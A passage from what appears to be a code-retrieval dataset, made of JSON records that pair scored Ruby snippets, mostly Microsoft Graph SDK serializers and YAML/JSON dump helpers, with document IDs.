"82b4686a14c60d934bf7cd9e423eaa44", "score": "0.552436", "text": "def get_field_deserializers()\n return super.merge({\n \"columns\" => lambda {|n| @columns = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WorkbookTableColumn.create_from_discriminator_value(pn) }) },\n \"highlightFirstColumn\" => lambda {|n| @highlight_first_column = n.get_boolean_value() },\n \"highlightLastColumn\" => lambda {|n| @highlight_last_column = n.get_boolean_value() },\n \"legacyId\" => lambda {|n| @legacy_id = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"rows\" => lambda {|n| @rows = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::WorkbookTableRow.create_from_discriminator_value(pn) }) },\n \"showBandedColumns\" => lambda {|n| @show_banded_columns = n.get_boolean_value() },\n \"showBandedRows\" => lambda {|n| @show_banded_rows = n.get_boolean_value() },\n \"showFilterButton\" => lambda {|n| @show_filter_button = n.get_boolean_value() },\n \"showHeaders\" => lambda {|n| @show_headers = n.get_boolean_value() },\n \"showTotals\" => lambda {|n| @show_totals = n.get_boolean_value() },\n \"sort\" => lambda {|n| @sort = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookTableSort.create_from_discriminator_value(pn) }) },\n \"style\" => lambda {|n| @style = n.get_string_value() },\n \"worksheet\" => lambda {|n| @worksheet = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WorkbookWorksheet.create_from_discriminator_value(pn) }) },\n })\n end", "title": "" }, { "docid": "85079a15e69bfe2d794e0dbb5b546dc0", "score": "0.5516464", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"administrativeUnits\", @administrative_units)\n writer.write_collection_of_object_values(\"attributeSets\", @attribute_sets)\n writer.write_collection_of_object_values(\"customSecurityAttributeDefinitions\", @custom_security_attribute_definitions)\n writer.write_collection_of_object_values(\"deletedItems\", @deleted_items)\n writer.write_collection_of_object_values(\"federationConfigurations\", @federation_configurations)\n writer.write_collection_of_object_values(\"onPremisesSynchronization\", @on_premises_synchronization)\n end", "title": "" }, { "docid": "9473f761b66aa5615a0cf7e613ec4401", "score": "0.5500791", "text": "def to_yaml\n YAML::dump(self)\n end", "title": "" }, { "docid": "6c223a7fca576473b2fe0c5582eeea84", "score": "0.54945564", "text": "def to_json\n @object.marshal_dump.to_json\n end", "title": "" }, { "docid": "3f836d11b94dd081fe057e428171875a", "score": "0.5485959", "text": "def to_yaml\n\t\tYAML.dump self.export\n\tend", "title": "" }, { "docid": "a7a76e51592ab4cec6d5452778524650", "score": "0.5480528", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"appDisplayName\", @app_display_name)\n writer.write_string_value(\"dataType\", @data_type)\n writer.write_boolean_value(\"isSyncedFromOnPremises\", @is_synced_from_on_premises)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_primitive_values(\"targetObjects\", @target_objects)\n end", "title": "" }, { "docid": "bd64dd9c139601fc41e66dece4e1112b", "score": "0.54694325", "text": "def to_json (someObject)\n return self.row\n end", "title": "" }, { "docid": "23d1a14143263461b3549818db153bd1", "score": "0.546856", "text": "def to_yaml\n to_hash.to_yaml\n end", "title": "" }, { "docid": "fe440c0b7ac4561908cd962e76081670", "score": "0.5447202", "text": "def excelify(col)\n\t\t\n\t\t# Make sure the column exists\n\t\tif not @headers.index(col)\n\t\t\traise \"ERROR- can not excelify column #{col}; not found!\"\n\t\tend\n\t\t\n\t\t@matrix.each do |row|\n\t\t\t# Ignore the case when the cell value is nil\n\t\t\tif row[col]\n\t\t\t\trow[col] = \"|EXCEL_OPEN|\" + row[col] + \"|EXCEL_CLOSE|\"\n\t\t\tend\n\t\tend\n\t\t\n\t\t# Set to true so the write method knows to sub tags\n\t\t@excelified = true\n\tend", "title": "" }, { "docid": "d73ec2d15925764e922141210fbd00a7", "score": "0.5435452", "text": "def serialize\n self.to_hash.to_json\n end", "title": "" }, { "docid": "08a3f90ae980707702610a4e4935892f", "score": "0.5435221", "text": "def to_yaml\n return @data.to_yaml\n end", "title": "" }, { "docid": "d4ba872cacd2b27e00e4a3de44a9f5b9", "score": "0.5434798", "text": "def serialize(model)\n end", "title": "" }, { "docid": "ea57e56893abaecd4a9653daff64bd5f", "score": "0.54326135", "text": "def to_yaml\n self.original.to_yaml\n end", "title": "" }, { "docid": "fa8a1c3cba4886457579c28c6e42d4aa", "score": "0.5431136", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"accessPackages\", @access_packages)\n writer.write_enum_value(\"catalogType\", @catalog_type)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customWorkflowExtensions\", @custom_workflow_extensions)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_boolean_value(\"isExternallyVisible\", @is_externally_visible)\n writer.write_date_time_value(\"modifiedDateTime\", @modified_date_time)\n writer.write_collection_of_object_values(\"resourceRoles\", @resource_roles)\n writer.write_collection_of_object_values(\"resourceScopes\", @resource_scopes)\n writer.write_collection_of_object_values(\"resources\", @resources)\n writer.write_enum_value(\"state\", @state)\n end", "title": "" }, { "docid": "79ec7d4604003251c28669bb874f40dc", "score": "0.5428292", "text": "def columns_changeable_string\n if columns_changeable.blank?\n ''\n else\n JSON.parse(columns_changeable).join(', ')\n end\n end", "title": "" }, { "docid": "121154983d4acede5eb5db52ebf1dc1e", "score": "0.5423863", "text": "def to_binary\n Formatters::Binary.new.serialize self\n end", "title": "" }, { "docid": "f52ad4c04d70e3c8a86f9bd0f4e80107", "score": "0.54048866", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"container\", @container)\n writer.write_string_value(\"containerId\", @container_id)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_object_value(\"member\", @member)\n writer.write_string_value(\"memberId\", @member_id)\n writer.write_enum_value(\"outlierContainerType\", @outlier_container_type)\n writer.write_enum_value(\"outlierMemberType\", @outlier_member_type)\n end", "title": "" }, { "docid": "8b06b4496e717c4326c4b5801cc122ac", "score": "0.5404616", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"contractType\", @contract_type)\n writer.write_guid_value(\"customerId\", @customer_id)\n writer.write_string_value(\"defaultDomainName\", @default_domain_name)\n writer.write_string_value(\"displayName\", @display_name)\n end", "title": "" }, { "docid": "1eeca6caf07c03356a15ffc731f89602", "score": "0.53994083", "text": "def column_spec(column)\n spec = {}\n spec[:name] = column.name.inspect\n\n # AR has an optimization which handles zero-scale decimals as integers. This\n # code ensures that the dumper still dumps the column as a decimal.\n spec[:type] = if column.type == :integer && [/^numeric/, /^decimal/].any? { |e| e.match(column.sql_type) }\n 'decimal'\n else\n column.type.to_s\n end\n spec[:limit] = column.limit.inspect if column.limit != @types[column.type][:limit] && spec[:type] != 'decimal'\n spec[:precision] = column.precision.inspect if column.precision\n spec[:scale] = column.scale.inspect if column.scale\n spec[:null] = 'false' unless column.null\n spec[:default] = default_string(column.default) if column.has_default?\n # changed from rails 3.2 code\n spec[:array] = 'true' if column.respond_to?(:array) && column.array\n # /changed\n spec\n end", "title": "" }, { "docid": "3d1c01d6e34e2740ffe9f4904cd42c72", "score": "0.5393164", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"deviceId\", @device_id)\n writer.write_string_value(\"key\", @key)\n writer.write_enum_value(\"volumeType\", @volume_type)\n end", "title": "" }, { "docid": "2f6e40d046ecf43397cc2a4a034a931a", "score": "0.5391852", "text": "def column_spec(column)\n spec = {}\n spec[:name] = column.name.inspect\n\n # AR has an optimisation which handles zero-scale decimals as integers. This\n # code ensures that the dumper still dumps the column as a decimal.\n spec[:type] = if column.type == :integer && [/^numeric/, /^decimal/].any? { |e| e.match(column.sql_type) }\n 'decimal'\n else\n column.type.to_s\n end\n spec[:limit] = column.limit.inspect if column.limit != @types[column.type][:limit] && spec[:type] != 'decimal'\n spec[:precision] = column.precision.inspect if !column.precision.nil?\n spec[:scale] = column.scale.inspect if !column.scale.nil?\n spec[:null] = 'false' if !column.null\n spec[:default] = default_string(column.default) if column.has_default?\n\n # Additions for spatial columns\n if column.is_a?(::SpatialAdapter::SpatialColumn)\n # Override with specific geometry type\n spec[:type] = column.geometry_type.to_s\n spec[:srid] = column.srid.inspect if column.srid != -1\n spec[:with_z] = 'true' if column.with_z\n spec[:with_m] = 'true' if column.with_m\n spec[:geographic] = 'true' if column.geographic?\n end\n spec\n end", "title": "" }, { "docid": "aebb4a94acb47780dd28c78d64e67e25", "score": "0.5364626", "text": "def to_s\n @row.to_s\n end", "title": "" }, { "docid": "1aba29e6bef51939e4e190426b922609", "score": "0.5363931", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_primitive_values(\"aliases\", @aliases)\n writer.write_collection_of_object_values(\"countriesOrRegionsOfOrigin\", @countries_or_regions_of_origin)\n writer.write_object_value(\"description\", @description)\n writer.write_date_time_value(\"firstActiveDateTime\", @first_active_date_time)\n writer.write_collection_of_object_values(\"indicators\", @indicators)\n writer.write_enum_value(\"kind\", @kind)\n writer.write_object_value(\"summary\", @summary)\n writer.write_collection_of_primitive_values(\"targets\", @targets)\n writer.write_string_value(\"title\", @title)\n writer.write_object_value(\"tradecraft\", @tradecraft)\n end", "title": "" }, { "docid": "dbf759714d6f066c7c044c11c442b6ef", "score": "0.5363408", "text": "def marshal_dump\n dump\n end", "title": "" }, { "docid": "23171717215627d15e27c294da38c32b", "score": "0.5342216", "text": "def to_yaml\n dump(:x)\n end", "title": "" }, { "docid": "da4e7316687dd67dc6bc48011cd34cf6", "score": "0.53404766", "text": "def get_columns_changeable_string\n if self.columns_changeable.blank?\n return ''\n else\n return (JSON.parse self.columns_changeable).join(', ')\n end\n end", "title": "" }, { "docid": "60d5043a4e2c2a46304a1872fecdc5bf", "score": "0.5338533", "text": "def dump\n _dump do |row|\n codec.encode( row.values, io ) unless dry_run?\n end\n ensure\n io.flush\n end", "title": "" }, { "docid": "bce889bd1d730637fb410d3d2ecb4810", "score": "0.5336921", "text": "def to_json\n @movie_table.to_json\n end", "title": "" }, { "docid": "c0ccc19654758fe8cbce534ae3c93279", "score": "0.5335944", "text": "def column_fields(json=true)\n data = @data.map do |data|\n data = data.dup\n editor = parse_column_editor(data.delete(\"editor\"))\n renderer = parse_column_renderer(data.delete(\"renderer\"))\n data.merge!(editor) if editor\n data.merge!(renderer) if renderer\n data.delete(\"method\")\n data.delete(\"mapping\")\n data\n end\n json ? JSON.pretty_generate(data) : data\n end", "title": "" }, { "docid": "3f6960dc8b93f1134b748f47f6d03831", "score": "0.53320545", "text": "def to_s\n self.to_json\n end", "title": "" }, { "docid": "a341dc4741394ffc507df91f04b3e64c", "score": "0.5328845", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"customExtensionStageInstanceDetail\", @custom_extension_stage_instance_detail)\n writer.write_string_value(\"customExtensionStageInstanceId\", @custom_extension_stage_instance_id)\n writer.write_enum_value(\"stage\", @stage)\n writer.write_string_value(\"state\", @state)\n end", "title": "" }, { "docid": "61b3bfdc945977b111d414b66d237493", "score": "0.5324845", "text": "def to_s\n columns.each{|c| \"#{c}: #{self.send(c)}\\n\"}\n end", "title": "" }, { "docid": "685f2e80cb97226f43d121d25c2b5876", "score": "0.53216934", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"comment\", @comment)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_date_time_value(\"deletedDateTime\", @deleted_date_time)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"history\", @history)\n writer.write_boolean_value(\"hostOnly\", @host_only)\n writer.write_string_value(\"hostOrDomain\", @host_or_domain)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"path\", @path)\n writer.write_enum_value(\"sourceEnvironment\", @source_environment)\n writer.write_enum_value(\"status\", @status)\n end", "title": "" }, { "docid": "0c4e3a8777f7a4f1233e2b6c14b41267", "score": "0.53209853", "text": "def to_sequel_blob\n self\n end", "title": "" }, { "docid": "ad6af4751dc7b4678058293303f8e705", "score": "0.530755", "text": "def serialize \n Base64.encode64(@data.to_yaml) \n end", "title": "" }, { "docid": "41ae022ab4471131a130c85ef4bd6100", "score": "0.5305767", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"changedBy\", @changed_by)\n writer.write_date_time_value(\"eventDateTime\", @event_date_time)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_enum_value(\"stage\", @stage)\n writer.write_enum_value(\"stageStatus\", @stage_status)\n writer.write_string_value(\"type\", @type)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "c2fba4e03ea2a7aec6518de2cc0c3c96", "score": "0.53054667", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"borders\", @borders)\n writer.write_object_value(\"columnWidth\", @column_width)\n writer.write_object_value(\"fill\", @fill)\n writer.write_object_value(\"font\", @font)\n writer.write_string_value(\"horizontalAlignment\", @horizontal_alignment)\n writer.write_object_value(\"protection\", @protection)\n writer.write_object_value(\"rowHeight\", @row_height)\n writer.write_string_value(\"verticalAlignment\", @vertical_alignment)\n writer.write_boolean_value(\"wrapText\", @wrap_text)\n end", "title": "" }, { "docid": "50f552f6074af0f7511e10a9dcfcb99a", "score": "0.53051084", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_boolean_value(\"cellularDataBlockWhenRoaming\", @cellular_data_block_when_roaming)\n writer.write_boolean_value(\"cellularDataBlocked\", @cellular_data_blocked)\n writer.write_collection_of_object_values(\"managedApps\", @managed_apps)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "c63e0c0b15f911318316ce6a9c2df2f4", "score": "0.5300401", "text": "def serialize()\n data = {\n 'channels' => @channels.values.collect {|c| c.serialize },\n 'users' => @users.values.collect {|u| u.serialize },\n }\n data.to_yaml\n end", "title": "" }, { "docid": "da13dad80436190672fe895f0e28f18c", "score": "0.5297249", "text": "def marshal\n @data\n end", "title": "" }, { "docid": "3e247bb1cdeec4341c854ea688071fc6", "score": "0.5290938", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"configurationDeployedUserCount\", @configuration_deployed_user_count)\n writer.write_collection_of_object_values(\"configurationDeploymentSummaryPerApp\", @configuration_deployment_summary_per_app)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_date_time_value(\"lastRefreshTime\", @last_refresh_time)\n writer.write_string_value(\"version\", @version)\n end", "title": "" }, { "docid": "af8d5bb2e031036f6ccd789b7a556b94", "score": "0.52882075", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "944f1295549efbe9c292a0569f8f97e0", "score": "0.5283407", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"connectors\", @connectors)\n writer.write_boolean_value(\"hasPhysicalDevice\", @has_physical_device)\n writer.write_boolean_value(\"isShared\", @is_shared)\n writer.write_date_time_value(\"lastSeenDateTime\", @last_seen_date_time)\n writer.write_date_time_value(\"registeredDateTime\", @registered_date_time)\n writer.write_collection_of_object_values(\"shares\", @shares)\n writer.write_collection_of_object_values(\"taskTriggers\", @task_triggers)\n end", "title": "" }, { "docid": "032f4bd17d63ff6c041452a594e1eaf1", "score": "0.5279842", "text": "def encode(value)\n value.to_yaml\n end", "title": "" }, { "docid": "032f4bd17d63ff6c041452a594e1eaf1", "score": "0.5279842", "text": "def encode(value)\n value.to_yaml\n end", "title": "" } ]
cec01c7133a2ae6c4d3ff50940443594
Gets the certificateSerialNumber property value. Certificate serial number. This property is readonly.
[ { "docid": "7aacc1c0891c9f6438beea2411868a70", "score": "0.8358974", "text": "def certificate_serial_number\n return @certificate_serial_number\n end", "title": "" } ]
[ { "docid": "bfe0fa27341330839affc4a5d22c5534", "score": "0.79510915", "text": "def serial_number\n @certificate.serial\n end", "title": "" }, { "docid": "bebb3f463fdc317809e76a5471ddc73e", "score": "0.7288044", "text": "def certificate_serial_number=(value)\n @certificate_serial_number = value\n end", "title": "" }, { "docid": "015881ebbb635b2d820cf8ee18d1a5cd", "score": "0.69472826", "text": "def get_serial(certificate_string)\n certificate = OpenSSL::X509::Certificate.new(certificate_string)\n return certificate.serial.to_s\n end", "title": "" }, { "docid": "4d490cefee8d6ceea15bb4978765fb66", "score": "0.69022554", "text": "def public_certificate_serial\n @attributes[:public_certificate_serial]\n end", "title": "" }, { "docid": "4d490cefee8d6ceea15bb4978765fb66", "score": "0.69022554", "text": "def public_certificate_serial\n @attributes[:public_certificate_serial]\n end", "title": "" }, { "docid": "3690f1730c987e39a9890177cd857e30", "score": "0.67359734", "text": "def getSerialNumber ()\n return readValue(\"rPDUIdentSerialNumber.0\")\n end", "title": "" }, { "docid": "f5dc03521042cd85d2079ecf1e69b323", "score": "0.65560097", "text": "def serial_number\n return @serial_number\n end", "title": "" }, { "docid": "f5dc03521042cd85d2079ecf1e69b323", "score": "0.65560097", "text": "def serial_number\n return @serial_number\n end", "title": "" }, { "docid": "f5dc03521042cd85d2079ecf1e69b323", "score": "0.65560097", "text": "def serial_number\n return @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63764644", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63764644", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63764644", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63764644", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63764644", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.6375982", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "e6fa2bff5876de28d954aac0134cabe2", "score": "0.63754547", "text": "def serial_number\n @serial_number\n end", "title": "" }, { "docid": "1a87747aa26ec82c7347500c3faf4f44", "score": "0.62691826", "text": "def serial_no\n get_prop('ro.serialno')\n end", "title": "" }, { "docid": "807582e0c3e0460f8748d68964a7a550", "score": "0.6197767", "text": "def serial_number\n @serial_number ||= @node.at('serialNumber').inner_text\n end", "title": "" }, { "docid": "18d89800d8316df0c06b39e781ad067b", "score": "0.6121187", "text": "def certificate\n return @certificate\n end", "title": "" }, { "docid": "18d89800d8316df0c06b39e781ad067b", "score": "0.6121187", "text": "def certificate\n return @certificate\n end", "title": "" }, { "docid": "1aba4db75e8a232fb3e9114e257a38cd", "score": "0.608884", "text": "def hex_public_certificate_serial\n @attributes[:hex_public_certificate_serial]\n end", "title": "" }, { "docid": "1aba4db75e8a232fb3e9114e257a38cd", "score": "0.608884", "text": "def hex_public_certificate_serial\n @attributes[:hex_public_certificate_serial]\n end", "title": "" }, { "docid": "e7f567bdbe7b84f1268f7d04d2aa5b46", "score": "0.60794085", "text": "def certificate\n @attributes[:certificate]\n end", "title": "" }, { "docid": "eee1a6e52f27b5533b821ef3f1ed3f87", "score": "0.60787266", "text": "def certificate\n Cproton.pn_messenger_get_certificate(@impl)\n end", "title": "" }, { "docid": "7f9a20aa7252397abeb08ca6eefc8b53", "score": "0.60433096", "text": "def iSerialNumber\n @pDevDesc[:iSerialNumber]\n end", "title": "" }, { "docid": "6221871b54fa7d310a6ab031b4520cc6", "score": "0.6040248", "text": "def serial_number\n return @serial_number if defined? @serial_number\n @serial_number = try_string_descriptor_ascii(self.iSerialNumber)\n @serial_number.strip! if @serial_number\n @serial_number\n end", "title": "" }, { "docid": "324f783315a1601873e7d695f7a659a0", "score": "0.6039997", "text": "def certificate\n Cproton.pn_messenger_get_certificate(@impl)\n end", "title": "" }, { "docid": "bbf2424bbd5251df5dcc5fe208db3c44", "score": "0.59246486", "text": "def x509_certificate_field\n return @x509_certificate_field\n end", "title": "" }, { "docid": "7d1f6060afeda9d219c328ac0c45a146", "score": "0.5906841", "text": "def serial_number\n doc.root['serial-number']\n end", "title": "" }, { "docid": "128d7b5cdc1fc37055ac3972bf66bce4", "score": "0.58743024", "text": "def certificate\n @certificate\n end", "title": "" }, { "docid": "128d7b5cdc1fc37055ac3972bf66bce4", "score": "0.58743024", "text": "def certificate\n @certificate\n end", "title": "" }, { "docid": "43d0a17df67b87f5259a6d0d35537503", "score": "0.58540976", "text": "def serial_number\n @serial_number ||= read_string(usb_device.iSerialNumber, '?').strip\n end", "title": "" }, { "docid": "7ae21669a40d00bab5c03d0d9a7b268d", "score": "0.567365", "text": "def sn\n @serial_number\n end", "title": "" }, { "docid": "270e22faafa73e2f49d963d4f99c54e5", "score": "0.5625462", "text": "def signing_certificate\n return @signing_certificate\n end", "title": "" }, { "docid": "c84aef800891a203a27f443076830c08", "score": "0.5590552", "text": "def certificate\n _get_certificate\n end", "title": "" }, { "docid": "fffbeb8c1ad81b24332f50a76738cb96", "score": "0.55112207", "text": "def course_number\n return @course_number\n end", "title": "" }, { "docid": "2be7e8f929219a15fd4b7cd115d7edb8", "score": "0.54956055", "text": "def public_certificate_subject\n @attributes[:public_certificate_subject]\n end", "title": "" }, { "docid": "2be7e8f929219a15fd4b7cd115d7edb8", "score": "0.54956055", "text": "def public_certificate_subject\n @attributes[:public_certificate_subject]\n end", "title": "" }, { "docid": "f7bea4dc4a587282f086b57ac2875038", "score": "0.5429675", "text": "def number\n return @sequence_id\n end", "title": "" }, { "docid": "2eb9a5e53fb6dcfec09d20b92fbdeb2c", "score": "0.54275787", "text": "def next_signing_certificate\n return @next_signing_certificate\n end", "title": "" }, { "docid": "62f4f6ccc9993aa89a298f09a49cca38", "score": "0.5422163", "text": "def certificate_number=(num)\n self.certificate = Certificate.where(:certificate_number => num).first\n end", "title": "" }, { "docid": "16d76c9f3f86944f698e39c59fae98f9", "score": "0.5414165", "text": "def get_serial\n return snmp_walk('1.3.6.1.2.1.43.5.1.1.17').at(0)\n end", "title": "" }, { "docid": "76e410896ff0dc69460ab2cd226971d9", "score": "0.5384423", "text": "def certificate_arn\n data.certificate_arn\n end", "title": "" }, { "docid": "92a11d956b71f3b084649baf26d32804", "score": "0.53711", "text": "def recipient_serial\n @attributes[:recipient_serial]\n end", "title": "" }, { "docid": "79b4d898f807185af1f36ce6ffb97aae", "score": "0.53348535", "text": "def student_number\n return @student_number\n end", "title": "" }, { "docid": "6f8c45a89fc0b51a525f3f5fad86b34e", "score": "0.5333977", "text": "def certificate_domain\n @attributes[:certificate_domain]\n end", "title": "" }, { "docid": "6afeecc7157bff7d21b50380462393c2", "score": "0.53301454", "text": "def serial_number=(value)\n @serial_number = value\n end", "title": "" }, { "docid": "320d10e13bafcf60d3afbcaa3f62494d", "score": "0.53042436", "text": "def subject\n @certificate.subject\n end", "title": "" }, { "docid": "feac01fe262883453e427036852a3fc6", "score": "0.5298798", "text": "def certificate_pem\n \n ## Deal with caching locally, downloading, etc\n refresh if ::Shibkit::MetaMeta.config.auto_refresh? and @certificate_tmpfile == nil\n \n return IO.read(certificate_tmpfile.path)\n \n end", "title": "" }, { "docid": "5bd42f864388ef502368b9018db13337", "score": "0.5270054", "text": "def server_certificate\n @attributes[:server_certificate]\n end", "title": "" }, { "docid": "5bd42f864388ef502368b9018db13337", "score": "0.5270054", "text": "def server_certificate\n @attributes[:server_certificate]\n end", "title": "" }, { "docid": "5bd42f864388ef502368b9018db13337", "score": "0.5270054", "text": "def server_certificate\n @attributes[:server_certificate]\n end", "title": "" }, { "docid": "47c1c9aaf5d04d45040e7f2e32be76e3", "score": "0.5264387", "text": "def serial_number=(value)\n @serial_number = value\n end", "title": "" }, { "docid": "47c1c9aaf5d04d45040e7f2e32be76e3", "score": "0.5264387", "text": "def serial_number=(value)\n @serial_number = value\n end", "title": "" }, { "docid": "47c1c9aaf5d04d45040e7f2e32be76e3", "score": "0.5264367", "text": "def serial_number=(value)\n @serial_number = value\n end", "title": "" }, { "docid": "9a7a09d0c6f4dea2654110033996cf92", "score": "0.52410054", "text": "def ssl_certificate\n @attributes[:ssl_certificate]\n end", "title": "" }, { "docid": "517b85971193baed678e6886299dc226", "score": "0.5219583", "text": "def certificate_email_address\n @attributes[:certificate_email_address]\n end", "title": "" }, { "docid": "9108eabdac4f5fde2761194455d05899", "score": "0.5209966", "text": "def cert2serial(cert_name=nil)\n /^[^-]+-(.*)$/.match(cert_name || puppet_certname)[1].upcase\n end", "title": "" }, { "docid": "55a18f14875201defb0b85a548e40dec", "score": "0.51154685", "text": "def certificate\n @http.certificate\n end", "title": "" }, { "docid": "c983af3326988e0c147d846ee9986a84", "score": "0.5094622", "text": "def to_x509()\n @cert\n end", "title": "" }, { "docid": "0dd18b8a2a76e36f2a2e31a2a6691f62", "score": "0.5083095", "text": "def serial\n @serial ||= read_tag('SERIAL')\n end", "title": "" }, { "docid": "0e59f4259aca3973f54d5a7a725104bd", "score": "0.50813663", "text": "def serial\n @token_hash.fetch('serial').dup\n end", "title": "" }, { "docid": "15a0f5c7d7aa1b781fcf5ffa469b3faf", "score": "0.5072636", "text": "def http_certificate_key\n @certificate_key\n end", "title": "" }, { "docid": "643ee0408c188e5c9ba6363902b7d751", "score": "0.50601375", "text": "def certificate=(value)\n @certificate = value\n end", "title": "" }, { "docid": "643ee0408c188e5c9ba6363902b7d751", "score": "0.50601375", "text": "def certificate=(value)\n @certificate = value\n end", "title": "" }, { "docid": "b101a000874152a9d9bf0e7b92eda96f", "score": "0.50446016", "text": "def own_signing_certificate\n application_response = extract_application_response(NORDEA_PKI)\n at = 'xmlns|Certificate > xmlns|Certificate'\n node = Nokogiri::XML(application_response).at(at, xmlns: NORDEA_XML_DATA)\n\n return unless node\n\n cert_value = process_cert_value node.content\n cert = x509_certificate cert_value\n cert.to_s\n end", "title": "" }, { "docid": "60000f8bc922704bcd01dcb8ec98b91e", "score": "0.503822", "text": "def public_key\n @certificate.public_key\n end", "title": "" }, { "docid": "9424b3e4970ef2ca3f8bbc6291d5c4bb", "score": "0.5017674", "text": "def get_cert_id(cert)\r\n Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]\r\n end", "title": "" }, { "docid": "e52b41ac50dd07b62d0cd728be40aecc", "score": "0.4995262", "text": "def certificate_type\n data.certificate_type\n end", "title": "" }, { "docid": "4dda268ec86f1dc4a9f494faed5ea572", "score": "0.4983116", "text": "def pkcs12_value\n return @pkcs12_value\n end", "title": "" }, { "docid": "191c89b7e0a877290e2448fc89bad413", "score": "0.49654326", "text": "def get_cert_property(pcert_context)\n property_value = memory_ptr\n property_list = []\n property_list[0] = \"\"\n (1..8).to_a.each do |property_type|\n CertGetNameStringW(pcert_context, property_type, CERT_NAME_ISSUER_FLAG, nil, property_value, 1024)\n property_list << property_value.read_wstring\n end\n property_list\n end", "title": "" }, { "docid": "ae5318a488acbb99a8f621023d5d1479", "score": "0.49653816", "text": "def processor_serial_number\n raise UnsupportedFunction.new(\"Your processor does not support a serial number.\") unless psn?\n eax, ebx, ecx, edx = run_function(SERIAL_NUMBER_FN)\n [signature, edx, ecx].map {|reg| register_to_hex_s(reg)}.join(\"-\")\n end", "title": "" }, { "docid": "2c19c16556a77969d15b06d471633894", "score": "0.49590388", "text": "def get_ca_serial_id_on(host)\n cert = get_ca_cert_on(host)\n return cert.serial.to_s(16) if cert\n return nil\nend", "title": "" }, { "docid": "85f09b5b8e35194d4b55b659454c21d6", "score": "0.49451998", "text": "def public_key\n if @public_key\n @public_key\n elsif certificate\n OpenSSL::X509::Certificate.new(certificate).public_key\n else\n nil\n end\n end", "title": "" }, { "docid": "85f09b5b8e35194d4b55b659454c21d6", "score": "0.49451998", "text": "def public_key\n if @public_key\n @public_key\n elsif certificate\n OpenSSL::X509::Certificate.new(certificate).public_key\n else\n nil\n end\n end", "title": "" }, { "docid": "6882ada2ca40605aaffb866166e86fca", "score": "0.49387395", "text": "def generate_certificate_number\n update certificate_counter: certificate_counter + 1\n base_certificate_uuid + \"-#{format '%03d', certificate_counter}\"\n end", "title": "" }, { "docid": "44771b9b480c52fdf9d0518b66d5a60d", "score": "0.49343997", "text": "def iphone_development_certificate_signing_identity\n @json['iphone']['development_certificate_signing_identity']\n end", "title": "" }, { "docid": "bed66191e0eb293f6a2e2c5e57de2317", "score": "0.492969", "text": "def certificate\n node = @doc.xpath('//certificate/certificate-blob').first\n 